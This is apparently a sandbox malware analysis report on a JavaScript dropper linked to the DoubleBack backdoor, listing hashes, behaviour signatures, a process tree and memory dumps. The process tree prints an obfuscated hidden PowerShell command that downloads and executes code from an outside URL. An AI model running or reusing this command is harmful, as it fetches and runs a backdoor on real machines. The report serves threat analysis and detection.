Analysis

  • max time kernel
    37s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    18-06-2021 06:37

General

  • Target

    Text information.js

  • Size

    35KB

  • MD5

    51bf52acf5121880a65144f201e60b52

  • SHA1

    091d1c859cbfe1cd0148fdb96fecd08cd55e1428

  • SHA256

    32f9704d37818253fbda931393fe3c1256f37931d0c36539cd20f49100080400

  • SHA512

    bf1328cdb2477edd1d37f43336fe781cea74aee5a431a16698ce685c62aac5f85994dded7226aa53b04d94331e0571e5752f20a6d4d22be4215eab557dba36ea

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://golfien.com/client.txt

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Text information.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwBvAGwAZgBpAGUAbgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQALgB0AHgAdAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwBvAGwAZgBpAGUAbgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQALgB0AHgAdAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3828

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3828-121-0x000001EFF3230000-0x000001EFF3231000-memory.dmp

    Filesize

    4KB

  • memory/3828-127-0x000001EFF5500000-0x000001EFF5501000-memory.dmp

    Filesize

    4KB

  • memory/3828-133-0x000001EFF32A3000-0x000001EFF32A5000-memory.dmp

    Filesize

    8KB

  • memory/3828-132-0x000001EFF32A0000-0x000001EFF32A2000-memory.dmp

    Filesize

    8KB

  • memory/3828-135-0x000001EFF32A6000-0x000001EFF32A8000-memory.dmp

    Filesize

    8KB

  • memory/3828-183-0x000001EFF32A8000-0x000001EFF32AA000-memory.dmp

    Filesize

    8KB

  • memory/3828-186-0x0000008800000000-0x000000880000C000-memory.dmp

    Filesize

    48KB

  • memory/3828-185-0x000001EFF54C0000-0x000001EFF54C9000-memory.dmp

    Filesize

    36KB

  • memory/3828-184-0x000001EFF32AA000-0x000001EFF32AF000-memory.dmp

    Filesize

    20KB